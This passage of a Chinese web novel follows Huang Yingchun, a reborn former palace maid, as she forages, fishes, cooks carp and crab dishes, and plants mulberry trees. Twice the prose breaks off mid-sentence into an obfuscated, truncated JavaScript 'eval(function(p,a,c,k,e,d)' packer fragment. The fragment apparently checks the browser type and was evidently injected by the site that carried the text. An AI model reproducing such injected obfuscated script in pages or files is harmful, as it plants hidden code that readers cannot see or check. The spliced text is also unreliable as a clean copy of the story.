将浆麦草捣烂压碎挤出青汁,同糯米粉一起拌匀揉和,做成一个个小团子。团子的馅心由个人口味决定,街市上叫卖的通常是糖豆沙馅儿,这种馅心的青团买的人多。团胚做好后,垫一张洗好晾干的芦苇叶,放入蒸笼里蒸熟,出笼时趁热用毛刷将熟菜油刷在青团表面,这样摆出来的青团就会变成油亮的碧翠色,颜色更喜人。 这样好的东西,既然用料丰盛,黄迎春在家是万万不可能吃到的。宫中禁烧纸钱,宫女入了宫,哪怕再想在寒食节祭祀先人,也要忍住心思。入宫的第一年清明,宫房里一片凄凄惨惨戚戚,大家都愁眉惨雾,只有黄迎春按捺着兴奋,稳稳当当地接过厨房送来的假期福利,捏起一个小巧的青团坐在角落里认真品尝。 那是黄迎春这辈子第一次吃到青团,六个青团分别是六种不同的馅心,每个青团嚼在嘴里都又软又甜,十分好吃。 清明节吃青团并不是皇宫中人的专利,上到王公贵族,下至平民百姓,几乎人人都会在清明这天尝一口青团。 青团蒸熟后可以存放好几天,正适合拿来做祭祀食品,免得临近祭祀,琐事繁杂,准备不及,误了祭拜祖先的正事。 家中掌厨的女娘通常会提前几天备好大量的青团。 寒食节和清明节离得极近,每年过完寒食节之后再过一两天便是清明节。 寒食节因节日期间禁止用火,只能食用冷食而得名。 青团的存在,正好补足了寒食节不得使用厨房的亏空。 人们外出踏青春游时,也常常会在点心盒子里装上青团。 青团不仅是一道方便携带的应季小吃,还有助于拉近人与人之间的关系。 在河边青青的杨柳下,拿出色如碧玉的青团,邀请附近的游人一起品尝,再聊上几句话,没过多久,便能听到一桩好事。 主人公往往是将青团做得好吃又好看的人家家中的适龄女娘。 在安朝,厨艺是考量女子品德的重要因素。 黄迎春还没向家中擅厨艺的二婶正经学会几道菜,就坐着马车入了皇宫。 入宫前三个月,还在教习期的那段日子,黄迎春和其他人一起住大通铺。 对前程惶惶不安,思念家中亲人,想飞上枝头变凤凰却投路无门的……几乎没有几个人到了夜里能倒头就着。 大家睡不着,便聚在一起聊天。 聊天的话题也有讲究,以防祸从口出或惹祸上身,最后大家聊的都是一些入宫前的日常——只有聊这个才不会出错。 黄迎春只想老老实实保住自己一条小命,所以聊天的时候几乎都是在听别人说。 “明明阿娘游春那日带去的青团是我做的,只因阿姐年岁比我大,嫁给西街饮子铺东家二儿子的好亲事便落在了阿姐头上。阿爹阿娘说会补偿我,待我十五及笄,就给我找一家比阿姐还要好的亲事。怎料花鸟使踏进家门,我什么事也不晓得,就被他们欢天喜地地送入皇宫。待我出宫,阿姐家的儿女估摸着都能谈婚论嫁了。” 黄迎春还记得这些话,却不知道当初在深夜说出这些话的人的近况。 三个月教习期一结束,她们分到不同的地方,从此失了联系。 若她还活着,现在也到了出宫的年纪,不知她出宫后的日子过得好吗? 她的父母见她没有成为宫中的贵人,还会给她好脸色吗? 她会为了不在家中举步维艰,匆匆嫁人吗? …… 黄迎春不知道。 她只知道自己没想过成亲。 怀胎十月把她生出来又用奶水哺育了她一整年的娘亲都能在缺钱时把她推进火坑,她怎么能相信一个没有血缘关系的家会好好待她一辈子呢? 家里虽然遭了灾,但只是倒了屋子伤了腿,田地和地窖里的粮食都还在,父母什么都没动,偏偏把她卖了。 如果她成了亲,谁能担保她的丈夫和婆家不会卖掉她?就算不卖她,那她的儿女呢?如果她有一个女儿,她组建的家庭未来也遭了灾,她的女儿会不会碰上她十二岁时遭遇的事?她不肯卖女,万一她的丈夫和公婆肯呢?她一个没有金银傍身的普通妇人,能拗得过这个孝道大过天的世道吗? 这是妻以夫为天的古代,不是婚育自由的现代。 纵使现代婚育自由,夫妻之间日子过不下去可以离婚,离了婚还是会被人指指点点。辛辛苦苦存下来的钱,在离婚时也要分对方一半。被陌生男人殴打可以报警要求根据伤情鉴定进行赔偿,被自己的丈夫殴打只会得到一场接一场的调解。 黄迎春曾经报名参加一个社工志愿者服务,分配给她的工作内容主要是和街道妇联的工作人员一起上门走访并记录调解情况,黄迎春只干了三天,产生的心理阴影过了一辈子还是没办法完全消除。 讽刺的是,尽管如此,她上辈子所待的现代在婚姻与人权这方面的情况还是比这辈子投身的安朝要好上许多。 安朝的女人,自成亲那日起,便成了夫家的财产。丈夫再不堪,只要他不愿意写休书或和离,嫁进这户人家的妇人便无法脱身。若是家中没钱,丈夫甚至能把自己的妻子租给别的男人生孩子,由此甚至滋生了一个新行业——典妻。遇上更丧良心的,把妻子卖进青楼、把儿女卖给人牙,只为了筹措赌资进赌场再赌一把的,也不是多么罕见的事。 这些都是黄迎春在宫中时听太监们说的,许多都是他们的亲身经历。 皇宫里过得不好的宫女很多,但论苦命,没有比那些主动净身入宫的太监命更苦的,尤其是那些在底层蹉跎了一辈子,此生无望过上一天好日子的太监们,他们的心,苦得就跟天天浸在黄连水里一样。 这个世道,不仅女人过得苦,就是投身为男子,也不一定能过得好。 黄迎春越想越悲哀,越想越生气,她恶狠狠地挥着锄头,挖断一条又一条虬结在一团的树根,被四处乱飞的尘土蒙了眼睛也在所不惜。 她这辈子直到死,都不会成亲,也不会再让自己为奴做婢。哪怕再难,她也要把自己的命运掌握在自己的手中。 黄迎春憋着一股劲,一口气垦了好大一块地,把自己累得气喘吁吁,连站也站不直,只能靠着装满树枝的背篓,嘴对着竹筒,将凉透的开水几大口喝了个干净。 憋着的心气一散,黄迎春就开始犯懒。 一口气吃不成一个胖子,今日干的活已经够多了,现在可以干点轻松的歇一歇了。黄迎春这般想道。主要是,她也没力气再干下去了。 心有余而力不足的黄迎春回到家中,把木桶里的水都倒进锅里,盖上木头锅盖后又往灶膛里添了一把干柴让它慢慢烧,接着提起一只空荡荡的木桶,转身出门。 前院的篱笆竹门一开一闭,去打野食的黄迎春迈着轻快的步伐往竹林走去,身影隐落在晴朗的青草香味里。 清明左右正是鲫鱼产卵的时候,雨越暴,鱼越多。虽然这阵子的春雨一场比一场大,但还论不上狂风骤雨。尽管如此,黄迎春还是想去溪里碰碰运气。 山里能吃的菌菇很多,长在松树下的松树菌采完之后,黄迎春又去竹林里捡其他认识的菌菇。砍竹累了就去采菌,竹篮装满了,就继续拿起镰刀砍竹,就这么劳逸结合地循环往复,渐渐的,黄迎春摸透了一整片竹林,还在竹林的另一侧发现了一条小溪。 溪流很浅,黄迎春脱了鞋袜一脚踏进去,走到最深处,清凉的溪水堪堪没过她的小腿。 溪底全是石头,形状各异,大小不一,走一圈仿佛做了一场足底按摩。 黄迎春还在溪边发现了前人留下的活动痕迹——一个依稀还能看出模样的竹编鱼笼和一张被石头压了数年已经腐烂的渔网。 种种迹象都表明竹林旁边的那条溪流里有鱼,鱼的数量还不少,而且有人曾经在那里捕到鱼。 既然别人可以捕到鱼,我为什么不行? 鱼离了水很快就会死,黄迎春贴心地打了小半桶溪水放在一旁预备盛鱼,然后信心满满地脱了鞋袜挽起裤腿便往溪中走去。 鲫鱼喜欢躲藏在水草和石头缝隙里,黄迎春专往这些地方翻。可惜不是刚翻开石头鱼就跑了,要不就是好不容易抓住了一条小鱼,没等放进桶里,鱼就从掌心里溜走。一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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自从家里的菜地开张后,黄迎春每次洗米时的淘米水就有了去处。菜地里的菠菜吸收了淘米水的营养,长得愈发青翠欲滴。黄迎春掐了一把菠菜,手上也沾上了不少菠菜的新鲜汁液,还没吃就知道这菜一定水分十足。 捕虾的诱饵都是黄迎春在菜地里抓的,自从发现了晒虾干制虾粉这两个开源节流的好办法,黄迎春几乎把菜地里的虫子抓了个遍。本来是为了多诱点虾,没想到一举两得,菜地里的虫子消失后,菜叶上的虫眼也少了。黄迎春把菠菜放在水里一片片洗过去,越洗越开心。 她种的菜长得可真好啊! 菠菜洗好后,搁在圆口筲箕里,黄迎春抓起鲫鱼开始除鳃去鳞。 把鲫鱼收拾干净之后,黄迎春把锅燎干,往里倒了一点菜籽油,然后把鲫鱼放下去小火慢煎,直至两面金黄,再倒入满满一碗刚才烧好的开水,把打结的野葱和切碎的姜片丢进去,盖上锅盖,继续小火慢慢炖煮,待汤水呈奶白色,就可以放点盐下去调味,用锅铲搅弄两下,鲜香扑鼻的鲫鱼汤便做好了。 民间有句俗语:四条腿的不如两条腿的,两条腿的不如没有腿的。意思是猪羊比鸡鸭有油水,鱼虾最不顶饱。 因为鱼不顶饱,所以黄迎春一口气把今天捉到的五条鲫鱼都煮了,此时,她筷子和锅铲并用,把五只煮透的鲫鱼从锅里送到没有一粒米的碗里。 然后,黄迎春拿起筲箕里的菠菜,两手一扯拽成两半,撒进奶白的鱼汤里。 菠菜在筷子的拨弄下打了几个滚,叶片变得更加翠绿油亮。 黄迎春飞快地用筷子把烫熟的菠菜捞进碗里,堆在焦黄掉皮的鲫鱼上,想了想,又舀了一大勺鱼汤浇在上面。 果然,今天的夕食变得更诱人了。 大大的瓷碗里每多盛一样食物,味道就更丰富一层,浓浓的香气直往黄迎春的鼻子里钻。 黄迎春举起她还没来得及放下的筷子,直接弯腰就着低矮的灶台吃起这碗又鲜又甜的菠菜滚鲫鱼汤。 吃肉、吐刺、夹菜、喝汤,黄迎春的手和嘴都忙的不得了,饶是如此,她还是不满足。 黄迎春吃着碗里,望着锅里,只恨没多买一个碗,好让她分开品尝这道一鱼两吃的美味。 真想再去镇上采购一番啊! 有什么赚钱的法子呢? 21.姜丝螃蟹粥 早上,黄迎春蹲在厨房外漱口时,发现她的牙香筹有点不对劲。 黄迎春把刷牙子从嘴里拿出来,放在暗淡的天光下认真打量,没发现什么蹊跷,于是她把刷牙子重新塞回嘴里,结果刷了好一会儿,舌头还是没感受到那股熟悉的牙沫味,黄迎春这才发现大事不好——她的牙香筹用完了! 最近这两个月,黄迎春每日早晚使用的牙香筹都是她在宫中攒下来的份例。 牙香筹是一种结合品。首先将香料和药材制成固体的清洁剂,然后把它固定在牙刷上,一只牙香筹便做好了。 虽然工序简单,但卖价不菲。 牙香筹的使用方法很简单,只需把牙香筹放在嘴里沿着齿缝反复清洁,硬邦邦的牙香筹随着时间的推移,会渐渐在嘴里分解出丰富的泡沫,其实和现代人平常刷牙是一样的步骤,只是省了挤牙膏这一步的累赘。 因着这层便利,牙香筹便成了出门必备佳品,加上牙香筹可以多次反复使用,价格也跟着水涨船高。 之前黄迎春以为她就快要死了,但她心里总觉得自己好赖还能活一段日子。再者牙香筹不比其他,是极私人的用品,所以临出宫时,黄迎春就没有把用过的牙香筹留给桃花,而是把它和用了多年的木梳、耳簪妥帖地放在一起打进包袱里。 这把刚用了两天的牙香筹跟着黄迎春一路辗转,住过客栈和慈善堂,怎料才在家里待了不满一月,就急急地驾鹤西去。 黄迎春望着手里那只掉了许多毛的刷牙子,心中充满难过——用柳枝漱口的日子,这么快就来了吗? 是的,黄迎春甚至没有在镇上给自己带点口腔清洁用品回来。 她把镇上仅有的几家刷牙铺子走了个遍,每家开出的价钱都差不多,黄迎春实在砍不下价,最后只能灰溜溜地背起装着那只渐渐开始掉毛的牙香筹的包袱,回到荒山脚下,日日一省再省。 虽说已经打定主意,而且黄迎春从前也不是没有用过杨柳枝刷牙,但这一天到来的时候,黄迎春还是很伤心。 她真的不想再咬柳枝了! 没有牙膏和牙粉的刷牙方式是没有灵魂的! 乡下人没有刷牙这个概念,他们顶多在鸡叫时分含两口水吐掉,就将早起的漱口解决了。 讲究些的人家,会折点嫩柳枝塞在嘴里反复咀嚼,等柳枝在嘴里咬烂了,再吐掉喝点水漱两口。 诸如牙膏牙粉此类的清洁剂是没有的,最多遇上某日要办大事,往水里撒两粒盐,用盐水代替清水来漱口,这已经是十分重视的做法了。 黄迎春一出生就带着上辈子的记忆,她难以忍受这种人人一张嘴都口气熏天的日子,所以等到她能走能跑,她便迫不及待地给自己安排起刷牙工具。 黄迎春试了满村的花草树木,最后还是乖乖回归嫩柳枝的怀抱——古人的说法并不是空穴来风。杨柳枝被称为齿木,不是毫无缘由的。 黄迎春用杨柳枝刷了十年的牙,直到入宫,才真正用上牙刷和牙膏。 是的,安朝也有牙刷和牙膏,只是平民百姓不知道。或者说,也许他们知道,但他们舍不得在这方面多花钱,他们更愿意把钱花在能填饱肚子的吃食上。 与现代不同,安朝的牙刷称为刷牙子,是用马尾巴上面的毛放在牛角上做成的。不过,马是贵重的战略物资,牛是无故不得宰杀的重要牲畜,所以只有贵人们才能用马尾毛和牛角制成的刷牙子。黄迎春和其他的宫女太监们,只能用猪毛和木头做的刷牙子。 安朝人刷牙和现代人刷牙一样,都不是干刷,而是会使用清洁剂辅助刷牙。 现代人用牙膏,安朝人花样更多,除了牙膏,他们还用牙粉。 无论是牙膏还是牙粉,里面的成分几乎都差不多,不外乎是一些皂角、生姜、旱莲等中草药,更多的黄迎春也不知道,各家售卖的牙粉和牙膏口味都不会一模一样,每家能在城里存活下来的刷牙铺都有他们的独门秘方。 不过再怎么折腾,牙膏和牙粉的原材料都是纯草本,最多再添一点盐,无公害无污染,黄迎春用得很放心。 每回采买府发了牙香筹的份例,黄迎春都可劲用,生怕自己长了虫牙。 痛不欲生不说,安朝可没有麻药,治牙的时候全靠意志力硬抗,上工太累,黄迎春有时有点犯懒,但她只要想一想牙齿坏掉的后果,不管多晚多累,她都会立刻从床上爬起来拿起牙香筹去刷牙。 好在,也不知道是否是黄迎春从小就十分注重保养牙齿的缘故,长到现在,黄迎春嘴里的牙没一颗是坏的,这一点,让她欣慰不已。 只是,出了宫,虽然身心自由,但每月初一的份例也随之消失了。 黄迎春心中有一股说不出来的感觉,倒不是怀念在宫中为奴做婢的日子,只是忽然更深刻地理解了“围城”二字的含义。 悲春伤秋解决不了实际问题,只有行动可以打败焦虑。为了保护她的牙齿不被蛀虫侵略,黄迎春加快了耕地的速度,只为了能省出一点时间去摘些嫩柳枝。 就算她无糖可吃,平时吃的东西也没有多少油水,但黄迎春还是坚持睡前刷牙。 有句话怎么说来着——牙疼不是病,疼起来真要命。黄迎春可不敢随意挑战这句话的权威性,牙疼能不能治好另说,光是在治疗牙疼之前付出的那笔医药费,就能让黄迎春心疼不已。 没想到开源的好办法就罢了,可千万不能给自己折腾出一笔意外支出。 于是,一忙完地里的活,黄迎春便背起背篓,迫不及待地往河边走。 被称为齿木的杨柳枝很好找,杨柳枝就是柳树的枝条,而杨柳到处都可以种植,它尤其喜欢生长在靠近水的地方,因此,河边常常能看到柳树的身影。 黄迎春依稀记得,从家门口到竹林的这一段路是没有柳树的,她没有荒废时间去寻求验证,而是拿着镰刀逆流而上,开始往河流上游走去。 在这片到处都是绿色却又都绿的不一样的绿色山林里,柳树的样子极其突出,树形仿佛黄迎春弯腰洗头时散开的那头长发,区别只在于柳树垂下来的丝绦是绿色的,而黄迎春的头发是黑色。 柳树和河边其他树种的区别,就跟黄迎春和柳树的区别一样大。 所以,一路沿着河流往山上走去的黄迎春没走多久,便远远望见了一棵婀娜多姿的河边垂柳。 黄迎春兴奋地奔到柳树面前,用镰刀砍了好多条柳枝。至于折柳?哼,黄迎春只想说,诗里说的都是骗人的。 投身到安朝后,黄迎春才知道文学上所谓艺术加工的水分有多大。 有一门手艺叫“柳编”,什么意思呢? 顾名思义,和从小长在多竹的黄家村里的黄迎春擅长的竹编一样,就是用浸泡过的柳枝编成各种器具,例如柳条箱、菜篮、笊篱、炕席、针线笸箩等各种深受平民百姓喜爱的东西,民间甚至还衍生出一种匠人——扎柳匠。 柳编的器具为什么这么深受大众喜爱呢? 除了柳树易得、柳编器具价格低廉以外,最重要的原因就是柳枝折而不断、虚而不曲的特性使得柳编器具极其耐用。 “纤纤折杨柳,持此寄情人。” “攀条折春色,远寄龙庭前。” 曾经背了一遍又一遍乃至深入到刻骨印髓的课外古诗词,如今,黄迎春想起它们便不屑一顾。 呵,写出这些诗句的诗人自己真的动手折过柳枝吗? 但凡他们折过柳枝,他们就会知道,还是用镰刀更轻松一些。 冷酷无情的黄迎春挥着镰刀唰唰唰地割了一大片,塞满了大半个背篓,想着这棵柳树离家也不远,缺了随时都能再来割,而且再嫩的柳枝放久了水分也会流失,咀嚼起来只会更费牙,这才停了手。 临走前,黄迎春又割了一条柳枝,把它编成一个圆环戴在头上,望着河里的人影,终于心满意足。 虽然迟了,但有总比没有好。 黄迎春是突然想起来的,柳有“鬼怖木”的别称。 现代人关于节日的仪式感都是从古代流传下来的,在安朝,人们以清明、七月半的中元节和十月朔为三大鬼节。据说每逢这三个节日,百鬼都会出没讨索。 怎么办呢? 佛教的信徒说话了:“只要在鬼节期间取一截柳枝戴在头上,就可以防病驱邪。” 经过连年的战乱,安朝和黄迎春在历史书上学过的汉朝一样,主要推行休养生息的政策。 黄迎春用文科生的思维确立了背景,然后根据她平时的所听所闻,提炼出关键信息,继而归纳,最后做出总结——百姓们 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黄迎春又去光顾了竹林边的那条小溪,前几天在溪里赤脚抓鲫鱼时,黄迎春被山螃蟹夹到了脚趾头。今天,她特意带来花了两个晚上才编好的一双草鞋,准备一雪前耻。 草鞋是用黄迎春特意找来的龙须草编成的,虽然没办法像雨鞋那样防水,但穿在这浅浅的溪里却能免了石头的硌脚,对黄迎春来说已经是一件幸事。而且,她穿着把她的脚包裹得严严实实的草鞋,就不用担心再被螃蟹的钳子夹到脚,可以更自由大胆地在溪里随意走动,找到更多的食物。 啊,真感谢从小就拼命学着把看到的每一点技能都化为己有的自己啊! 黄迎春学到的技能里,也包括抓山螃蟹。 怎么抓山螃蟹,既不会让它咬到自己的手,也不会让它逃脱,这也是一门小小的学问。 想要抓到多多的山螃蟹,还要了解它的习性。 山螃蟹是杂食性动物,不仅会吃水生植物,还会以小小的鱼虾为食。 溪石底下,往往就是山螃蟹的藏身之处。 山螃蟹和河蚬一样擅长伪装,它的体色和它的栖息地十分相近,把钳子和八只弯曲的蟹腿一缩,不认识看还真会误以为它是一颗石头,所以要细心辨别,不能着急。 黄迎春没空抓虫做饵,所以只能翻开石头一点点搜寻山螃蟹的踪迹。 翻溪石虽然费力,却是一个极其直接和简单的能捕捉到山螃蟹的好办法。 捉到的山螃蟹,都被黄迎春放在了一个竹篓里。 为了报一趾之仇,黄迎春可谓是准备齐全,不仅编了草鞋,还编了一个带盖的竹篓子。 螃蟹和鲫鱼不一样,如果用木桶装,哪怕事先在桶里盛了许多水,螃蟹还是会沿着内壁从桶里爬出来。 黄迎春可不想忙了半天一回头,看到抓到桶里的螃蟹四散而逃,白费她的力气。 捉来的山螃蟹都老老实实地待在竹篓里被黄迎春带回了家,倒出来的时候,各个都是新鲜的,还在活动它们的腿脚和钳子,然后被黄迎春拿了她掉得没剩几根毛的刷牙子(实际上是用完的牙香筹废物利用)刷得干干净净。 螃蟹洗完后,黄迎春也没闲着,她先舀了两瓢清水倒在锅里烧开,水烧开后,又倒入事先浸泡过的大米,盖上木头锅盖大火煮开,然后撤掉烧的正旺的柴火,转为小火慢慢熬煮,黄迎春没有手表,看不了时间,以防糊锅,只能一直站在灶台边,拿着锅铲反复搅动,锅里的大米和清水渐渐融在一起变成软烂黏稠的白粥后,黄迎春又用筷子挖了一点猪油,连同姜丝和切成两半的小螃蟹一起放进锅里继续慢慢熬煮,直到小小的山螃蟹呈现出橙红的颜色,彻底煮熟后,黄迎春又撒了一点刚做好没多久的虾粉进去调味,最后,撒上一些翠绿的野葱花,出锅! 山螃蟹壳多肉少,最好的做法是裹了面糊放在锅里油炸,把小小的山螃蟹炸得又香又脆,就能连壳带肉都吃下去,一点儿也不浪费,但黄迎春舍不得这么嚯嚯她的油,所以她决定换一种做法——熬一锅姜丝螃蟹粥。 姜不仅能给长在溪里的山螃蟹去腥增香,还能祛除山螃蟹身上的寒性,配上姜丝熬出来的山螃蟹粥,吃起来驱寒暖胃,一点儿都没有浪费黄迎春的创意。 黄迎春坐在厨房里,尝着又香又鲜的姜丝螃蟹粥,灶膛映着火光,锅里烧着预备等会泡脚的热水,又是一个安静祥和的春夜。 22.野韭炒河蚌 黄迎春嘴里叼着一根嫩绿的杨柳枝,蹲在屋后,望着面前被她垦得坑坑洼洼的一片地陷入沉思。 种柳树还是桑树呢? 黄迎春犹豫不决。 近处的草木随着田地的开垦,早被黄迎春陆陆续续地用敞口簸箕挑回家中摊在前院晾晒,只待晒干之后搬进她用竹子搭好的柴屋。 开荒虽然辛苦,但同时也捡了柴火。 这种一举两得的好事以后还会有许多,却都避不开多费脚程。 费鞋也就罢了,大不了多编几双草鞋天天带在身上换着穿,但走远了免不了担忧遇上野兽猛禽,而且,等她老了呢? 难不成她白发苍苍时还要走大老远的路去打柴? 子曰:生于忧患,死于安乐。 极有忧患意识的黄迎春意识到,拥有一个属于自己的稳定的柴火来源是一件迫在眉睫的大事。 黄迎春思来想去,决定在后院种一片树。 树木长成了,既能挡住下山的野物,又能砍下枝条当柴烧。 两全其美,多棒的好点子啊! 但是,种什么树呢? 黄迎春一时半会儿还无法决定。 摆在她面前的只有两个选择,柳树或桑树。 柳树,离家不远的河边就长了一棵,黄迎春的嘴里现在还含着从它身上割下来的一段嫩枝。 桑树,黄迎春在摘野菜的山坡附近恰好见过。 这两个树种都有现成的,可以就地取材。 至于竹子,黄迎春想都没想过。 竹子刚种下去的时候,安安分分,等过几年,开始生长繁殖了,地底下的竹鞭蔓延过来,能在一夜之间把她花了十贯钱才盖好的三间茅草屋和自搭自建的一间柴屋摧毁得七零八落。 竹子是绝对不成的,种柳树呢? 柳树生长速度快,栽下去也容易成活。 有句古话叫无心插柳柳成荫,其实十分贴合柳树扦插的种植原理。 折下一根柳枝插在土里,七天之后,如果它能在地里生根,不出五年,它就能长成一棵大树。 而且,柳木质地较软,晒干后容易燃烧,虽然燃烧时间不长,不过平日里煮个饭烧点开水还是绰绰有余的。 正所谓:柳木不成材,烧火旺灶台。 柳木最大的优点,是它可以通过炭窑焖烧制成木炭。柳木烧出来的木炭易燃而且少烟,十分适合室内取暖。 黄迎春听红梅说起过,贵人们烹茶时常用的木炭便是柳木烧的。 只是虽然她知道柳树可以烧成木炭,但那些都是理论知识,没有建炭窑和烧木炭的实践支撑,任柳树有万般好处,到了黄迎春这里,也只有烧柴这一点用处。 种桑树的好处就更多了。 黄迎春虽然年纪轻轻就入了宫,但她也是长在鱼米之乡的女娘,南方水乡长大的女孩子,几乎人人都有一手养蚕织布的好本事。 有点钱财和远见的人家,会送家里的女娘去学织布和刺绣。 买不起织机的人家,也会好生教导家里的孩子们如何种桑养蚕。 黄迎春是后者。 虽然她今年没有希望,但提前把桑树预备起来,明年这个时候不就能养蚕卖茧了? 黄迎春想想就激动。 这可是农桑人家屈指可数的进项之一啊! 而且桑树还会结桑葚,桑葚采下来既能当水果,又能晒干做成储备粮。 黄迎春小时候听老人说过一个故事——从前有个地方遭了旱灾,饿死了许多青壮,唯有一户在田边种了许多桑树的人家,靠着老人往年勤恳采下晒干的桑葚度过了那个灾年,保全了全家老小的性命,平稳地迎来第二年风调雨顺的春天。 柳树的种子只会变成漫天飞舞的柳絮,絮再多在衣裳里也保不了多少暖,不如她怀里抱着的汤婆子管用,看来还是种桑树比较好。 尿意忽然袭来,思索不停的黄迎春连忙丢下杨柳枝,跑到卧房去解手,拿草纸的时候,她又发现她从镇上买来的草纸也快用完了。 “一,二,三,四,五,六,一,二,三……” 黄迎春拿着那叠薄薄的草纸数了好几遍,还是不变的六张。 晴天霹雳! 继用杨柳枝漱口后,她这么快这么快就迎来了用树叶解决三急的日子了? 这也太快了吧! 黄迎春欲哭无泪。 由奢入俭难,在花草司当值时,草纸向来是定量足额发放的。出了宫,没有采买府按月发福利,黄迎春连解手时用的草纸都要自己花钱买,方知“破家值万贯”的真义。 在安朝,人人解手都用草纸,当然,也有例外。 黄迎春在宫中时,见过一代宠妃的没落。 那个称号为“喜”的妃嫔盛宠时,她生的女儿擦屁股都不用草纸,而是用上好的白绢,而且用完不洗,每次都直接扔掉,下次再要用,就重新拿条新的。 后来,那位喜妃因为残害皇子被打入冷宫,她的女儿也在宫中饱受欺凌。 为了日子过得好一点儿,便日日去太后宫中请安,连太后解手时用的草纸,那位小公主都事先取来贴在脸颊,一点点地用光滑的肌肤把它抚平揉软,生怕硌了太后的玉臀。 虽然自己的日子过得也没有多么顺心,但黄迎春偶尔想起这件事,还是会心生怅惘——冷宫中的喜妃如果知道她金贵的只用白绢擦屁股的女儿,现在天天把别人用的草纸贴在脸上,她的心里会是什么想法呢? 人分三六九等,草纸也分三六九等。 平民百姓会根据自家的经济水平,从纸店里买来价钱合适的草纸,再拿回家去分给众人使用。 黄迎春曾听同寝的宫女细列继母苛待她的日常,其中一条便是给她用的草纸是最低等的,偏偏这种用在□□的东西不好宣扬,只能日日忍下这个苦头。 黄迎春从来没有这种烦恼。 携儿带女进趟城,在黄家村,这是一件比过年更稀奇的事情。 路途遥远,路况也不好,这种全家出动的行程,往往是碰上大事,例如寻医问药或是走亲戚,采买就更少了。 相比于饱口福,囊中羞涩的人们更喜欢大饱眼福,就是花钱,也不可能把钱花在如厕用的草纸上。 “屁股还能比嘴金贵?” 这是黄迎春掉了牙的祖母在听从城里回来的人大谈特谈草纸的价格时说的名言。 活了四十多年的老人家死活不相信擦屁股用的纸竟然能换一斗粮食。 黄迎春在永安城和临安镇上的纸店里都分别问了草纸的价格,问一次就在心里直呼一声用不起。 还是用老办法吧。 在乡下,无论男女老少,人人都是用草叶和木棍来解决三急,所以痔疮药是村头赤脚大夫的主要收入来源。 与皮糙肉厚的大老爷们不同,小娘子们向来在照料自己的身体起居方面会更细致一些,连来月经都被视为不吉祥的朝代,若是因为屁股上的毛病去寻医问药,还不如一脖子吊了了事,省得出门丢人现眼。 小时候,黄迎春总听娘亲和几个邻家的大娘这样说。 每当黄迎春不想干给树叶去毛这种麻烦事,她们就会用这种话恐吓她。 黄迎春是入了宫长了见识之后,才知道民间其实也有专治妇科病的大夫,人们通常称从事这一行业的女性为医婆。 不过想来也知道,就算家人知道女娘身上的毛病能找医婆治,他们也不会给自己出这笔钱,所以黄迎春虽然不耐烦,但每次还是把娘交代下来的活计办得漂漂亮亮——毕竟,这些处理过的叶子也有自己的一份,黄迎春也不愿意被树叶锋利的边缘割破肌肤,像家里的弟弟一样,捂着流血的屁股蛋天天哭夜夜嚎,两只眼睛下面挂着硕大的黑眼圈。 解手用的树叶要挑大的、柔软的,这样既耐用,又不易割伤皮肤。桑叶就很合适。 黄迎春又找到一条种植桑树的优点,果断倒戈,决定在后院种满桑树。 黄迎春去桑树上取了十几根枝条,去掉下半部分的叶片,又用镰刀把枝条下端削成斜面,最后浸在水里。 黄迎春也不知道扦插前需浸水两天的道理是什么,只知道从小就看到村里的长辈这样做,每一年都是如此,没有变过。 长辈们浸桑树枝的水,是桶里接的天上落下来的雨水,他们认为雨水得天地生气,用雨水浸过的桑树枝,插在地里一定能成活。 但黄迎春想栽树的时机不大对,恰好清明雨季已过,最近都是大晴天,黄迎春只好取河水来替代雨水。 应该也没什么差别吧? 黄迎春这般想着,还是打算明日忙完地里的农活后去附近转一转,看能不能找到更多的桑树,取下更多的桑树条。 保证不了成活率,提高数量总不会出错。 解决了心里的犹疑,黄迎春终于能全情投入她的烹饪大业。 没办法,人是铁饭是钢,一顿不吃饿得慌啊! 播撒下去的辣椒种子前不久才刚长出第一片叶子,黄迎春特意等根长住了,才开始分苗。如今,低矮的辣椒苗正井然有序地站在菜地里,微风吹过,根茎都跟着绿色的叶片一起轻轻颤动,看起来柔弱不堪,远远不到可以收获的时候。 黄迎春歇了取辣椒叶和河蚌同炒做一道小炒河蚌肉的心,她停下拨弄菜叶的手,起身走进卧房,从角落里拿出夜壶,混进大量的河水,然后一点点地把稀释过的肥水浇在菜地里。 幸亏现在只是前期,各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄迎春后来又找了找,可惜,没有发现更多的野蒜,但她丝毫不气馁,葱蒜不分家,既然能发现第一次,那她就能发现第二次。迟早,她的菜地,会把姜韭葱蒜这四样去腥增香的利器通通收入囊中。 黄迎春发现野韭菜的时机十分巧合,野韭菜还没开花,叶片还很鲜嫩,正是口感最好的时候。 野韭切段,野蒜切碎,生姜切丝,处理好配菜后,黄迎春开始洗河蚌。 河蚌是前天在河里捡的,放在桶里养了一天多,黄迎春估计泥沙吐尽了,准备今晚吃掉它们。 吃河蚌很麻烦,炒是其中最简单的步骤。 河蚌吐清泥沙,还需要用毛刷大力地洗掉壳上的泥土。 黄迎春没有毛刷,那根没什么好模样的刷牙子在洗过螃蟹之后已经彻底寿终正寝,黄迎春唯一能拿的出手的,只有她在买菜种的时候靠三寸不烂之舌成功让店家赠送的几块丝瓜络。 丝瓜络是不能吃的老丝瓜晒干的,质地柔软,沾了水更软,只能擦洗一些光滑的、易抹的器具,想洗干净山螃蟹和河蚌身上沾着的脏东西,还是竹丝络更适合。 竹丝络是黄迎春将平时处理竹子时刮掉的竹青和细薄的无法作为竹编材料使用的废弃竹蔑组合在一起,经过洗晒等一系列工序,最终制成的一团淡黄绿色的竹子废弃品。黄迎春觉得她自制的这团竹丝络的威力,用起来和她从前买过的一条东北发货的搓澡巾很像。 黄迎春的心和搓澡阿姨一样冷酷无情,她丝毫不舍力气,把几十位顾客洗得差点连亲妈都认不出来。 